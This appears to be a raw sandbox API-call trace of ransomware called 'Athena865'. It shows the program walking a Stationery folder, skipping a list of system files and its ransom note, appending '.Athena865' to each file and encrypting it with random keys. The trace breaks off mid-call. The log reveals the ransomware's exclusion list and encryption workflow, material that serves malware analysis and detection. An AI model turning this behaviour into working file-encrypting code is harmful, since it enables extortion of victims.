[0116.561] lstrlenW (lpString=".ini") returned 4 [0116.561] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".ini") returned 1 [0116.561] lstrlenW (lpString=".sys") returned 4 [0116.561] lstrcmpiW (lpString1="grid_(cm).wmf", lpString2=".sys") returned 1 [0116.561] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0116.561] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.Athena865") returned 81 [0116.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.athena865"), dwFlags=0x1) returned 1 [0116.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.562] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2920) returned 1 [0116.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.562] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.562] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.563] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.563] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.563] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe70, lpName=0x0) returned 0x154 [0116.565] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe70) returned 0x100000 [0116.566] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.566] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.566] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.566] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.567] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.567] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.567] CloseHandle (hObject=0x154) returned 1 [0116.567] CloseHandle (hObject=0x17c) returned 1 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.567] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.568] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".") returned 1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="..") returned 1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="windows") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="bootmgr") returned 1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="temp") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="pagefile.sys") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="boot") returned 1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="ids.txt") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="ntuser.dat") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="perflogs") returned -1 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2="MSBuild") returned -1 [0116.568] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0116.568] lstrcpyW (in: lpString1=0x241e8bc, lpString2="grid_(inch).wmf" | out: lpString1="grid_(inch).wmf") returned="grid_(inch).wmf" [0116.568] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0116.568] lstrlenW (lpString="Athena865") returned 9 [0116.568] lstrcmpiW (lpString1="inch).wmf", lpString2="Athena865") returned 1 [0116.568] lstrlenW (lpString=".dll") returned 4 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".dll") returned 1 [0116.568] lstrlenW (lpString=".lnk") returned 4 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".lnk") returned 1 [0116.568] lstrlenW (lpString=".ini") returned 4 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".ini") returned 1 [0116.568] lstrlenW (lpString=".sys") returned 4 [0116.568] lstrcmpiW (lpString1="grid_(inch).wmf", lpString2=".sys") returned 1 [0116.568] lstrlenW (lpString="grid_(inch).wmf") returned 15 [0116.569] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.Athena865") returned 83 [0116.569] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.athena865"), dwFlags=0x1) returned 1 [0116.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.570] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7498) returned 1 [0116.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.570] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.570] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.571] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.571] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.571] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2050, lpName=0x0) returned 0x154 [0116.572] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2050) returned 0x100000 [0116.573] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.574] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.574] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.575] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.575] CloseHandle (hObject=0x154) returned 1 [0116.575] CloseHandle (hObject=0x17c) returned 1 [0116.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.575] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".") returned 1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="..") returned 1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="windows") returned -1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="bootmgr") returned 1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="temp") returned -1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="pagefile.sys") returned -1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="boot") returned 1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ids.txt") returned -1 [0116.575] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="ntuser.dat") returned -1 [0116.576] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="perflogs") returned -1 [0116.576] lstrcmpiW (lpString1="Hand Prints.htm", lpString2="MSBuild") returned -1 [0116.576] lstrlenW (lpString="Hand Prints.htm") returned 15 [0116.576] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Hand Prints.htm" | out: lpString1="Hand Prints.htm") returned="Hand Prints.htm" [0116.576] lstrlenW (lpString="Hand Prints.htm") returned 15 [0116.576] lstrlenW (lpString="Athena865") returned 9 [0116.576] lstrcmpiW (lpString1="rints.htm", lpString2="Athena865") returned 1 [0116.576] lstrlenW (lpString=".dll") returned 4 [0116.576] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".dll") returned 1 [0116.576] lstrlenW (lpString=".lnk") returned 4 [0116.576] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".lnk") returned 1 [0116.576] lstrlenW (lpString=".ini") returned 4 [0116.576] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".ini") returned 1 [0116.576] lstrlenW (lpString=".sys") returned 4 [0116.576] lstrcmpiW (lpString1="Hand Prints.htm", lpString2=".sys") returned 1 [0116.576] lstrlenW (lpString="Hand Prints.htm") returned 15 [0116.576] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.Athena865") returned 83 [0116.576] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.athena865"), dwFlags=0x1) returned 1 [0116.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.577] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=235) returned 1 [0116.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.578] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.578] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.578] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.578] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.578] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.580] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.581] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.582] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.582] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.582] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.582] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.582] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.582] CloseHandle (hObject=0x154) returned 1 [0116.582] CloseHandle (hObject=0x17c) returned 1 [0116.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.583] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".") returned 1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="..") returned 1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="windows") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="bootmgr") returned 1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="temp") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="pagefile.sys") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="boot") returned 1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ids.txt") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="ntuser.dat") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="perflogs") returned -1 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2="MSBuild") returned -1 [0116.583] lstrlenW (lpString="HandPrints.jpg") returned 14 [0116.583] lstrcpyW (in: lpString1=0x241e8bc, lpString2="HandPrints.jpg" | out: lpString1="HandPrints.jpg") returned="HandPrints.jpg" [0116.583] lstrlenW (lpString="HandPrints.jpg") returned 14 [0116.583] lstrlenW (lpString="Athena865") returned 9 [0116.583] lstrcmpiW (lpString1="rints.jpg", lpString2="Athena865") returned 1 [0116.583] lstrlenW (lpString=".dll") returned 4 [0116.583] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".dll") returned 1 [0116.583] lstrlenW (lpString=".lnk") returned 4 [0116.584] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".lnk") returned 1 [0116.584] lstrlenW (lpString=".ini") returned 4 [0116.584] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".ini") returned 1 [0116.584] lstrlenW (lpString=".sys") returned 4 [0116.584] lstrcmpiW (lpString1="HandPrints.jpg", lpString2=".sys") returned 1 [0116.584] lstrlenW (lpString="HandPrints.jpg") returned 14 [0116.584] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.Athena865") returned 82 [0116.584] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.athena865"), dwFlags=0x1) returned 1 [0116.585] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.585] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4222) returned 1 [0116.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.585] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.586] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.586] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.586] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1380, lpName=0x0) returned 0x154 [0116.588] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1380) returned 0x100000 [0116.589] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.590] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.590] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.590] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.590] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.591] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.591] CloseHandle (hObject=0x154) returned 1 [0116.591] CloseHandle (hObject=0x17c) returned 1 [0116.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0116.591] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.591] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0b4380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0116.591] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0116.591] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2=".") returned 1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2="..") returned 1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2="windows") returned -1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2="bootmgr") returned 1 [0116.591] lstrcmpiW (lpString1="Memo.emf", lpString2="temp") returned -1 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2="pagefile.sys") returned -1 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2="boot") returned 1 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2="ids.txt") returned 1 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2="ntuser.dat") returned -1 [0116.592] lstrcmpiW (lpString1="Memo.emf", lpString2="perflogs") returned -1 [0116.592] lstrcmpiW 